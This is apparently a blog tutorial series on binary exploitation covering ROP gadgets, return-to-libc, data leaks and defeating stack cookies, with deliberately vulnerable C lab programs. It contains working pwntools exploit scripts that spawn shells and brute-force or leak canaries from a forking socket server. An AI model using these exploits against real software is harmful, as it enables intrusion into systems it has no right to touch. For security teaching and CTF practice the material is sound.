ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€[ threads ]ā”€ā”€ā”€ā”€
[#0] Id 1, Name: "chapter_3", stopped, reason: BREAKPOINT

Before you read any further, be sure that you understood what ASLR (Address Space Layout Randomization) and NX (Non-Executable Stack) means.

Since we have an executable stack, we can put our shellcode directly on the stack. The problem is, that we still have ASLR enabled and therefore, canā€™t reliably know where our shellcode is placed. To solve this problem, we can use a so-called gadget. Gadgets are small parts of an executable section (in general instructions of the .text section) which have always a return/jmp instruction (an instruction which redirects the execution flow) at the end.
For example:

Gadget1:
pop rdx # pull an 8-byte value from the top of the stack
ret # return

Gadget2:
mov rax, rsi
JMP rax

Now, the idea is, that we can use these gadgets for our purpose. If we place the address of gadget1 as the return address of our function we can redirect the execution flow to this gadget.

Where do we find these gadgets?
We could use manual analysis of the binary to find suitable gadgets but we can also do this automatically with ropper or ROPgadget.

For this target, we need a gadget that redirects the execution flow to our buffer (best case our Dā€™s on the stack). If we look carefully, we can see that the jmp rsp gadget of our help function is available. This gadget is perfect, because after we triggered the overflow via ret the rsp register points to the first byte of our payload after the return address which is, in fact, the first D.

ROPgadget --binary chapter_3 | grep jmp
0x000000000040049e : adc byte ptr [rax], ah ; jmp rax
0x000000000040060d : add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x000000000040060f : add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x000000000040060b : inc esp ; add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x0000000000400499 : je 0x4004b0 ; pop rbp ; mov edi, 0x601030 ; jmp rax
0x00000000004004db : je 0x4004f0 ; pop rbp ; mov edi, 0x601030 ; jmp rax
0x000000000040068b : jmp qword ptr [rax]
0x00000000004004a1 : jmp rax
0x000000000040052b : jmp rsp            <--------
0x0000000000400526 : mov dword ptr [rbp + 0x48], edx ; mov ebp, esp ; jmp rsp
0x0000000000400529 : mov ebp, esp ; jmp rsp
0x000000000040049c : mov edi, 0x601030 ; jmp rax
0x0000000000400528 : mov rbp, rsp ; jmp rsp
0x000000000040049b : pop rbp ; mov edi, 0x601030 ; jmp rax
0x0000000000400527 : push rbp ; mov rbp, rsp ; jmp rsp

Letā€™s write our first exploit:

from pwn import *

r = process("./chapter_3")
context.binary = './chapter_3'

# attach gdb and continue
gdb.attach(r.pid, """c""")

gadget = 0x000000000040052b # jmp rsp

payload = "A"*16+"B"*8
payload += p64(gadget) # return address, p64 converts our address to little endian because that's the correct representation in memory
# \xcc -> is a software breakpoint (int3). If our redirection of the execution worked, we should break
payload += "\xcc"*100

r.sendline(payload)
r.interactive() # we don't want to close the application

We can see in gdb that the target triggered a sigtrap while executing our buffer. Our gadget worked!
Now we just have to replace our buffer with real shellcode. This is very easy with pwntools because it has some shellcodes inbuilt.

from pwn import *

r = process("./chapter_3")
context.binary = './chapter_3'

# attach gdb and continue
gdb.attach(r.pid, """c""")

gadget = 0x000000000040052b # jmp rsp

payload = "A"*16+"B"*8
payload += p64(gadget) # return address, p64 converts our address to little endian because that's the correct representation in memory
# \xcc -> is a software breakpoint (int3). If our redirection of the execution worked, we should break
# payload += "\xcc"*100
payload += asm(shellcraft.sh()) # shellcode to spawn a shell

r.sendline(payload)
r.interactive() # we don't want to close the application
python chapter_3_exploit.py
[+] Starting local process './chapter_3': pid 5622
[*] '/BinaryExploitationSeries/Chapter 3/chapter_3'
   Arch:     amd64-64-little
   RelRO:    Partial RelRO
   Stack:    No canary found
   NX:       NX disabled
   PIE:      No PIE (0x400000)
   RWX:      Has RWX segments
[*] running in new terminal: /usr/bin/gdb -q  "/BinaryExploitationSeries/Chapter 3/chapter_3" 5622 -x "/tmp/pwne4TDcJ.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
$ ls
chapter_3  chapter_3.c    chapter_3_exploit.py
$  

Yeah, we popped our first shell!


The next post will be about bypassing non-executable stack aka return to libc and a small information leak.
Happy Hacking!

Binary Exploitation Series (4): Return to Libc

17 November 2018 at 00:00

This time we will activate non-executable stack and weā€™re going to build our first mini ROP-Chain to leak memory addresses! Basic ASLR is of course still enabled (only Heap and Stack randomized). I will also introduce some more features of pwntools.

Target

The target is again a simple binary where we can spot the vulnerability after a few seconds. In the function check_username we declare a 32-byte buffer to store a username. After that, we prompt the user to input a name but the fgets call reads up to 200 bytes which could lead again to a buffer overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 -o chapter_4 chapter_4.c -no-pie -fno-stack-protector

void check_username() {
    char name[32];

    puts("Name?");
    fgets(name, 200, stdin);

    if(strcmp(name, "admin\n") == 0) {
        puts("Nope. Invalid username.");
    }
    else {
        puts("OK");
    }
}

int main(int argc, char **argv) {
    check_username();
    return 0;
}

Analysis

Since we know a little bit about pwntools, thanks to the last post, and we have the source code of the target, we can directly start writing our exploit. First, import all pwntools functions and load the binary.

from pwn import *

r = process("./chapter_4")
context.binary = './chapter_4'

Then we will attach the debugger gdb again ā€¦

# attach gdb and continue
gdb.attach(r.pid, """c""")

ā€¦ and we trigger the buffer overflow with a simple payload.

payload = "A"*50
r.sendline(payload)
r.interactive() # we don't want to close the application

Crashed, perfect!
Next, we try to find the offset to the return address on the stack. This can be done manually with static or dynamic analysis or we just use gdb and a really useful pwntools function. Letā€™s change the payload to payload = cyclic(50) and run it again. Crashed. Now we can compute the offset to the return address by taking a word (w) at the top of the stack (rsp) as an argument to pwntoolsā€™ cyclic_find function.

gefāž¤  x/wx $rsp
0x7ffecfec1e98:    0x6161616b

# ipython
In [1]: from pwn import *
In [2]: cyclic_find(0x6161616b)
Out[2]: 40

Ok, we have an offset of 40 to the return address of this function (32-byte buffer + 8 byte which is the saved base pointer).

Since we canā€™t execute our shellcode on the stack, we have to find another way. For now, we do the following steps to achieve code execution:

  • Leak libc pointers via GOT (Global Offset Table)
    • Leak pointer to puts
  • Identify libc library (optional, in this case not necessary)
    • Leak another pointer to fgets
    • Use leaked pointers of puts and fgets to find the correct libc
  • Compute libcā€™ base address
  • Find a suitable one-shot gadget to achieve code execution
  • Maybe find suitable gadgets to modify the registers for the one-shot gadget (in this case not necessary)
  • Redirect execution to the vulnerable function (otherwise the executable would exit)
  • Exploit the same vulnerability a second time and pop a shell!

First, we have to call the function puts with a GOT address as argument to read the pointer. We can also use pwntools to support us in our exploit development. Since we exploiting the program locally we can use ldd to obtain the used libc.

# Find the used libc (obviously our local libc since this is a local challenge)
ldd ./chapter_4
        linux-vdso.so.1 (0x00007fffe21a6000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f37310e9000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f37314da000)

Next, we load the libc in our python script for later use libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") and we use pwntools features to call puts with the correct address. Since puts uses one argument we have to set the rdi register (Read more about calling conventions).

# find a suitable gadget to set rdi
ROPgadget --binary chapter_4 | grep rdi
0x00000000004006b3 : pop rdi ; ret      <--------------------------
0x0000000000400594 : scasd eax, dword ptr [rdi] ; or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret

We use the gadget to set the rdi register and call puts. This will print the address of the GOT entry and we can convert the leaked binary string to an integer with pwntools (u64(), 8 bytes unpack). Then we just have to subtract the offset of puts of our local libc to get the base address of the mapped libc in memory.

from pwn import *

def pad_null_bytes(value):
    return value + '\x00' * (8-len(value))

chapter_4_elf = ELF("./chapter_4")
r = chapter_4_elf.process()
context.binary = './chapter_4'

# libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# attach gdb and continue
gdb.attach(r.pid, """c""")

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    "C"*50])

r.clean() # clean socket buffer (read all and print)
r.sendline(payload) # send payload
r.recvuntil("OK\n") # read until OK\n
puts_leak = u64(pad_null_bytes(r.readline())) # null byte padding + unpack to integer(8 byte)
log.info("Puts @ %s" % hex(puts_leak))

libc_base = puts_leak - libc.symbols["puts"] # compute libc base
log.info("libc base @ %s" % hex(libc_base))

r.interactive() # we don't want to close the application

Output of our script:

[+] Waiting for debugger: Done
[*] Puts @ 0x7f97bd13f9c0
[*] libc base @ 0x7f97bd0bf000      <----
[*] Switching to interactive mode

# Verify puts in gdb
p puts
$1 = {int (const char *)} 0x7f97bd13f9c0 <_IO_puts>   <----

# Verify libc base with vmmap
0x00007f97bd0bf000 0x00007f97bd2a6000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so   <----
0x00007f97bd2a6000 0x00007f97bd4a6000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97bd4a6000 0x00007f97bd4aa000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97bd4aa000 0x00007f97bd4ac000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so

Perfect, the addresses are the same!
If we donā€™t know the libc version we have to leak other addresses like fgets and strcmp and use blukat.me to identify the correct version. When we found the correct one, we can download the libc from the website. Since we do everything locally, we can just skip this part.

Before we look for a one-shot gadget, we need a way to interact with the binary after receiving the leaked addresses because ASLR would randomize the addresses on every startup again. Therefore, we just redirect the execution flow to the beginning and just exploit the buffer overflow a second time.

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    p64(chapter_4_elf.symbols["main"]), # return to main
    "C"*50])

-->

Output:
[*] Puts @ 0x7f0fa54599c0
[*] libc base @ 0x7f0fa53d9000
[*] Switching to interactive mode
Name?
$  

Just copy the payload and send it again and we see the same crash as at the beginning!
Next, we have to identify a one-shot gadget. For that, we can use the program one_gadget with the identified libc.

one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Ok, we have some constraintsā€¦
If we take a look at the stack in gdb after the program crashed, we can see that the second gadget should work with its constraints, because we control the Cā€™s (43).

x/gx $rsp+0x40
0x7ffcc4538c98:    0x4343434343434343

-> change "C"*50 to "\x00"*100 and start the script again

x/gx $rsp+0x40
0x7ffe6cdff488:    0x0000000000000000

Letā€™s try it..

payload2 = "".join(["A"*40,
    p64(libc_base + one_gadget), # pop a shell
    "\x00"*100])
gefāž¤  c
Continuing.
process 9645 is executing new program: /bin/dash

We got it!

[+] Waiting for debugger: Done
[*] Puts @ 0x7f88bec589c0
[*] libc base @ 0x7f88bebd8000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"sĀ¾\x88\x7f
OK
$ ls
chapter_4  chapter_4.c    chapter_4_exploit.py

Final exploit:

from pwn import *

def pad_null_bytes(value):
    return value + '\x00' * (8-len(value))

chapter_4_elf = ELF("./chapter_4")
r = chapter_4_elf.process()
context.binary = './chapter_4'

# libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# attach gdb and continue
gdb.attach(r.pid, """c""")
"""
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
one_gadget = 0x4f322

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    p64(chapter_4_elf.symbols["main"]), # return to main
    "C"*50])

r.clean()
r.sendline(payload)
r.recvuntil("OK\n")
puts_leak = u64(pad_null_bytes(r.readline()[:-1])) # remove newline + null byte padding + unpack to integer (8 byte)
log.info("Puts @ %s" % hex(puts_leak))

libc_base = puts_leak - libc.symbols["puts"]
log.info("libc base @ %s" % hex(libc_base))

payload2 = "".join(["A"*40,
    p64(libc_base + one_gadget), # pop a shell
    "\x00"*100])

r.clean()
r.sendline(payload2)

r.interactive() # we don't want to close the application

Please be patient with yourself and learn slowly, so that you understand everything correctly.

Happy Hacking!

Binary Exploitation Series (5): How to leak data?

30 November 2018 at 00:00

I often read the question ā€œHow to leak data?ā€ and I will try to give you some basic ideas on how to get some information about a target (binary, memory layout).

Format String Attacks

If you have a format string vulnerability in the given binary you can abuse that vulnerability to leak a lot of information about the target. For example, you could leak some pointers on the stack which could leak function calls to libc, a pointer to the heap or the stack itself. You can also dump the whole binary if you donā€™t have access to the binary and may leak sensitive content. For more information please use available resources about format string attacks and try to solve old CTF challenges.
Resources:

Off By One

In general, an off by one means that we do an operation which is one index off. In this case, weā€™ll write over the null byte at the end of a string.
Letā€™s say we have again a 32-byte buffer. We need to terminate the C string with a null byte because each string function reads until a null byte. Therefore, the valid usage of this buffer would be to read 31 bytes and adding a null byte at the end (buffer[31]=='\0'). If the logic of the code doesnā€™t check that the string is null-terminated (in bounds of the array), a function like puts could leak the next values on the stack/heap/data section until it reaches a null byte.
Letā€™s do a simple example to demonstrate the importance of the null byte:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 -o off_by_one off_by_one.c -no-pie -fno-stack-protector

void check_username() {
    char secret[32];
    char name[32];

    puts("Name?");
    scanf("%32s", name);
    puts("Secret?");
    scanf("%32s", secret);

    if(strcmp(name, "admin\n") == 0) {
        puts("Nope. Invalid username.");
    }
    else {
        puts("OK");
    }
    puts(name);
}

int main(int argc, char **argv) {
    check_username();
    return 0;
}

The function check_username reads two strings with scanf (32 bytes) and prints only the name buffer. The problem here is, that scanf puts a null byte after the end of the given input (first byte of secret) if we use the whole length of the string (32 byte). Therefore, the name string will be interpreted as a longer buffer by puts because the null byte of name (first byte of the secret) will be overwritten after inserting a secret. As a result, we will print the secret too.

./off_by_one
Name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Secret?
secret
OK
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsecret

The secret will be successfully leaked. Just imagine that the secret could be anything without a null byte.

Leak via Functions

We did that already in Chapter 4 when we leaked a libc function pointer of the GOT and redirected our execution flow to main to use the leaked libc address in our final exploit stage. We can abuse any function which prints or writes anything.

Overwrite Pointers

Another simple way is to overwrite pointers of other strings. For example, you have a pointer to a string in a data section of the binary. You also have a relative write out of bounds using an array in the data section. Then you could overwrite the pointer to the other string which is printed later.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 overwrite.c -o overwrite -no-pie -fno-stack-protector

char *player;
char xxx[32];

int main(int argc, char **argv) {
    puts("Welcome");
    player = malloc(32);

    scanf("%31s", player);
    printf("Hello %s\n", player);

    // here you exploit some logic or function
    // e.g. overwrite characters of another string with an index (y)
    // therefore, you could do something like
    // xxx[y] = 'a';
    // xxx[0] = 'a';
    // xxx[2] = 'a';
    // xxx[-10] = 'a';
    // xxx[500] = 'a';
    // and change the pointer of player.

    player = &puts;
    printf("%p", player); // we would just print and convert with pwntools

    return 0;
}
./overwrite
Welcome
Test
Hello Test
0x7fa728c809c0

We successfully leaked puts of libc and we could compute the libc base address for further exploitation.

Uninitialized Variables

Declaring variables without initializing them afterward could also leak memory addresses and data. For example, you have a buffer of size n and you fill the buffer with n/2 bytes. Then youā€™ll save the whole buffer (n) into a file byte by byte. Therefore, youā€™ll write n/2 bytes which are unknown into the file.
Here you can see a simple example of such a behavior.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 -o uninitialized_variable uninitialized_variable.c -no-pie

void check_username() {
    char name[32];
    char secret[32];

    puts("Name?");
    scanf("%32s", name);
    puts("Secret?");
    scanf("%32s", secret);

    if(strcmp(name, "admin\n") == 0) {
        puts("Nope. Invalid username.");
    }
    else {
        puts("OK");
    }
    puts(name);
}

void x() {
    char x[32];
    for(int i=0; i<32; i++) {
        printf("%x", x[i]);
    }
}

int main(int argc, char **argv) {
    check_username();
    x();
    return 0;
}
./uninitialized_variable
Name?
AAAA
Secret?
BBBB
OK
AAAA
4242424207f001000000010000000ffffffed74000000

We successfully leaked our secret and some other values.

Brute Force

The last approach for today is brute force. In the best case, your target will fork its process because then you have a similar memory for each execution. For example, if you have a master process that forks, the child processes have always the same stack cookie. Hence, we can leak the stack cookie byte by byte (see Chapter 6).
Brute force is also useful with position-independent code. For example, you could guess the return address and the saved base pointer of the binary by brute-forcing bytes.
Letā€™s say our stack looks like that:

...                local parameters, buffer overflow
0x00007ffff7dd7660 saved base pointer
0x0000555555554896 return address
....               arguments
....               parent function

Letā€™s say that after the function returns to the parent function (0x0000555555554896) it will print ā€œSuccessfulā€. Now, we could overwrite the least significant byte with 00, 01, 02, 03 ā€¦ until we see ā€œSuccessfulā€ (60) again. Then we can overwrite the second byte and do the same again 0060, 0160, 0260, ā€¦ 7660 -> ā€œSuccessfulā€.
Now, we know an address of the stack and an address of a binary instruction in memory which is essential if you deal with position-independent code.


This post did not cover all possible ways but it gives you an idea of how to get some data in some cases. The most important thing is, that you have to be creative with everything you know about the binary and try to understand how it behaves.

Happy Hacking!

Binary Exploitation Series (6): Defeating Stack Cookies

15 March 2019 at 00:00

Today we are going to defeat stack cookies in two different ways. We have access to the binary and we need to leak some information about its environment to write our exploit. As always, you can download the challenge.
This time we have stack cookies (Canary: Yes) enabled.

gefāž¤  checksec
[+] checksec for './cookies'
Canary                        : Yes ā†’  value: 0xf28cd8655c310f00
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

ASLR is activated ;-)

Stack Cookie Protection

Weā€™ll start by understanding what a stack cookie/canary is and what it protects. In general, a stack cookie is a randomly chosen value (4 or 8 bytes long) which is always put before the saved base pointer on the stack. Before a function returns the stack cookie will always be checked for correctness. If it is modified a program will just crash and a possible malicious code wonā€™t be executed. This gives us a certain amount of security if a stack buffer overflow occurs because it protects us against control over the return address of the program. But there are multiple problems with stack cookies.
The first problem is that we can still overflow all variables which are between our buffer and the stack cookie. Second, if the program forks it is possible to leak the stack cookie because it has the same value in each child process. Third problem, if the target does not have a classic buffer overflow e.g. a format string vulnerability or a relative write out of bounds via an array, we could still bypass the stack cookie and write directly to certain addresses. So, stack cookies are somewhat good protection against non-forked programs with stack buffer overflow vulnerabilities but for other scenarios, this protection is easy to bypass.
Note, that stack cookies always have a null byte as the least significant byte because some functions will stop reading data if a null byte is sent. Therefore, an attacker would not be able to brute force or even send a stack cookie, if it is known, because the function would stop reading at the null byte.

Target

The target is again very simple. We have a basic socket server that can handle multiple connections and therefore spawns child processes (fork) for each request. The vulnerability is in the function serve by reading 2048 bytes into a 1024 buffer.

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <netinet/tcp.h>

//gcc -m64 cookies.c -o cookies -no-pie

void serve(int sock)
{
    char buffer[1024];

    // recv data
    recv(sock, buffer, 2048, 0);

    // send the message back
    send(sock, buffer, strlen(buffer), 0);
}

int main(int argc, char *argv[])
{
    int sockfd, newsockfd, portno, clilen;
    struct sockaddr_in serv_addr, cli_addr;
    int n, pid;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    if (sockfd < 0)
    {
        perror("ERROR opening socket");
        exit(1);
    }

    bzero((char *)&serv_addr, sizeof(serv_addr));
    portno = 1234;

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(portno);

    if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    {
        perror("ERROR on binding");
        exit(1);
    }

    listen(sockfd, 3);
    clilen = sizeof(cli_addr);

    while (1)
    {
        newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen);

        if (newsockfd < 0)
        {
            perror("ERROR on accept");
            exit(1);
        }

        pid = fork();

        if (pid < 0)
        {
            perror("ERROR on fork");
            exit(1);
        }

        if (pid == 0)
        {
            close(sockfd);
            write(newsockfd, "Welcome to the best echo service in the world!\n", 47);
            serve(newsockfd);
            send(newsockfd, "Goodbye!\n", strlen("Goodbye!\n"), 0);
            close(newsockfd);
            exit(0);
        }
        else
        {
            close(newsockfd);
        }
    }
}

Analysis

Weā€™ll start our exercise by executing the binary with ./cookies and we try to connect with nc localhost 1234 to get a first impression of the software.

nc localhost 1234
Welcome to the best echo service in the world!
Test
Test

Goodbye!

Okay, we can enter some text which is saved to the buffer. We enter an arbitrary string and we can overflow the buffer of 1024 bytes.
Letā€™s start playing around!
Attach gdb to the process:

gdb -q ./cookies
gefāž¤ set follow-fork-mode child
gefāž¤ !pidof cookies
<pid>
gefāž¤ attach <pid>
gefāž¤ continue

We set the option follow-fork-mode child to debug the child process if the master process forks. After that, we attach to the process of the master process by using the command !pidof cookies to get the process ID and the command attach <pid> to attach to the process.
To begin our analysis, we start writing our exploit with python. First, we connect to the remote target and send our payload.

from pwn import *

r = remote("localhost", 1234)

r.clean()
r.sendline("A"*5000)

r.interactive()

Letā€™s look into gdb:

[#0] Id 1, Name: "cookies", stopped, reason: SIGABRT
....
gefāž¤  backtrace                                                                                                              
#0  __GI_raise ([email protected]=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51                                            
#1  0x00007fb6b9ded801 in __GI_abort () at abort.c:79
#2  0x00007fb6b9e36897 in __libc_message ([email protected]=do_abort, [email protected]=0x7fb6b9f63988 "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007fb6b9ee1cd1 in __GI___fortify_fail_abort ([email protected]=0x0, [email protected]=0x7fb6b9f63966 "stack smashing detected") at fortify_fail.c:33
#4  0x00007fb6b9ee1c92 in __stack_chk_fail () at stack_chk_fail.c:29     
#5  0x0000000000400985 in serve ()                
#6  0x4141414141414141 in ?? ()                                          
#7  0x4141414141414141 in ?? ()              
#8  0x4141414141414141 in ?? ()
....

We got a SIGABRT and the reason for that seems to be a wrong stack cookie (#4 0x00007fb6b9ee1c92 in __stack_chk_fail ()).
Letā€™s examine the crash in detail. The item #5 of the back trace gives us a first indicator from where this __stack_chk_fail function is called. To find out what is happening we disassemble the serve function.

gefāž¤  disassemble serve
Dump of assembler code for function serve:
   0x0000000000400907 <+0>:     push   rbp
   0x0000000000400908 <+1>:     mov    rbp,rsp
   0x000000000040090b <+4>:     sub    rsp,0x420
   0x0000000000400912 <+11>:    mov    DWORD PTR [rbp-0x414],edi
   0x0000000000400918 <+17>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400921 <+26>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400925 <+30>:    xor    eax,eax
   0x0000000000400927 <+32>:    lea    rsi,[rbp-0x410]
   0x000000000040092e <+39>:    mov    eax,DWORD PTR [rbp-0x414]
   0x0000000000400934 <+45>:    mov    ecx,0x0
   0x0000000000400939 <+50>:    mov    edx,0x800
   0x000000000040093e <+55>:    mov    edi,eax
   0x0000000000400940 <+57>:    call   0x400730 <[email protected]>
   0x0000000000400945 <+62>:    lea    rax,[rbp-0x410]
   0x000000000040094c <+69>:    mov    rdi,rax
   0x000000000040094f <+72>:    call   0x400750 <[email protected]>
   0x0000000000400954 <+77>:    mov    rdx,rax
   0x0000000000400957 <+80>:    lea    rsi,[rbp-0x410]
   0x000000000040095e <+87>:    mov    eax,DWORD PTR [rbp-0x414]
   0x0000000000400964 <+93>:    mov    ecx,0x0
   0x0000000000400969 <+98>:    mov    edi,eax
   0x000000000040096b <+100>:   call   0x400780 <[email protected]>
   0x0000000000400970 <+105>:   nop
   0x0000000000400971 <+106>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400975 <+110>:   xor    rax,QWORD PTR fs:0x28
   0x000000000040097e <+119>:   je     0x400985 <serve+126>
   0x0000000000400980 <+121>:   call   0x400760 <[email protected]>
   0x0000000000400985 <+126>:   leave  
   0x0000000000400986 <+127>:   ret    
End of assembler dump.

Okay, we see at serve+17 and serve+26 that the stack cookie is loaded from fs:0x28 and it is put before the saved base pointer (rbp-0x08) on the stack. At the end of the function (serve+106) the saved stack cookie will be loaded and then compared with the original stack cookie at fs:0x28. If the stack cookie matches the original stack cookie a jump will be taken to the leave instructions and the function returns. If the stack cookie is corrupt then the __stack_chk_fail function will be called and the program aborts.
Our goal now is to leak the stack cookie to be able to overwrite the return address of the serve function. For that, we have to find out the offset to rbp-0x08 from our input buffer. We put a breakpoint on serve+110, send a cyclic pattern via pwntools and compute the offset with the value in rax.

gefāž¤  breakpoint *serve+110
Breakpoint 1 at 0x400975
gefāž¤  continue
...
$rax   : 0x6161616a61616169 ("iaaajaaa"?)
...

The offset is 1032 bytes. We can verify the offset by sending 1032 bytes of A and one B. Perfect: $rax : 0xf28cd8655c310f42 (The value should be different because the cookie is randomly chosen)
Since this is an echo service, we have now two possible ways to leak a stack cookie.

Brute Force Method

The idea for brute force is that we guess each byte of the stack cookie until we got all 8 bytes. To successfully do that, we need to distinguish between normal behavior and wrong behavior of the execution.
If we are sending B we are not getting a Goodbye! message from the application because it aborts before exiting the process in an intended way. If we are sending a null byte \x00 then the application is normally exiting and we are getting the Goodbye! message. This is all we need to distinguish between the two states of the application.

A brute force is visualized in the next figure where the red part is the static payload and the green values are our guesses for each byte. The response of the target could either be EOF - End Of File (wrong guess) or the correct message Goodbye! (correct guess, move to the next byte).



Letā€™s write a brute force method for the stack cookie. You can verify the stack cookie with gdb and a breakpoint at serve+110. Or you attach gdb to the process and type checksec which will print the stack cookie (feature of gef).












Please try it on your own first because the method is straightforward. If you get stuck you can still peek into the solution.























def brute_canary(msg, host, port):
    log.info("Brute force started...")
    context.log_level = "error" # ignore info. It would spam with "open connection" "connection closed"
    canary = b"\x00"
    for canary_byte in xrange(len(canary), 8): # guess 8 bytes for a 64-bit program
        for value in xrange(256): # guess values from 0-255
            while 1:
                try:
                    io = remote(host, port)
                    break
                except: # device busy exception, too many requests
                    print("[!] Connection attempt failed. New attempt in 1 second...")
                time.sleep(1)

            io.clean()
            io.send(msg + canary + pack(value, 8))
            response = ""
            try:
                response = io.recvuntil("Goodbye!")
            except EOFError:
                pass
            finally:
                io.shutdown()
                io.close()
            if "Goodbye!" in response: # correct guess
                canary += pack(value, 8)
                print("[+] [%s] = %s" % (str(canary_byte), hex(value)))
                break

    context.log_level = "info" # enable info logging again
    canary = u64(canary)
    log.info("Stack cookie is %s" % hex(canary))
    return canary

canary = brute_canary("A"*1032, "localhost", 1234)

Leak via Write

For this challenge a direct leak is possible and very simple. Since we can write past the input buffer and the stack cookie is directly behind it, we can simply overwrite the null byte of the stack cookie to print more data (strlen will return a bigger value). Then we have to parse the returned value. In the case of a null byte in the stack cookie itself we can just repeat the same function with a different offset until we get at least 8 bytes (the size of the stack cookie in 64-bit systems).
Again, try it on your own first!
Here is a function which leaks the stack cookie:

def leak_canary(offset, host, port, leaked_data=""):
    io = remote(host, port)
    io.clean()
    io.send("A"*offset+"B") # overwrite null byte with B to read more bytes ;-)
    response = bytearray("")
    try:
        while 1:
            response += bytearray(io.recv(1))
    except EOFError:
        pass
    response = response[offset:]# remove A's
    response[0] = "\x00" # Replace B with the original null byte
    if len(leaked_data) + len(response) >= 8:
        log.info("Got enough data..")
        leaked_data = str(leaked_data + response)
        stack_cookie = u64(leaked_data[:8])
        log.info("Stack cookie is %s" % hex(stack_cookie))
        return stack_cookie
    else:
        return leak_canary(offset+len(response), host, port, response) # if a second null byte is in the canary you will have to leak more data
    io.shutdown()
    io.close()

canary = leak_canary(1032, "localhost", 1234)
python exploit.py
[+] Opening connection to localhost on port 1234: Done
[*] Got enough data..
[*] Stack cookie is 0xf28cd8655c310f00

Exploit Development

For further analysis of the target, we can use the leak function or a hard-coded stack cookie because the value does not change.
If we want to use the leak function, we have to add a raw_input between the canary leak and the rest of the code to pause the execution of the script (or use pause() of pwntools). This will allow us to attach the debugger to the process. Then we will send a cyclic pattern and get the offset to the return address. (you could also use gdb.attach of pwntools)

python exploit.py
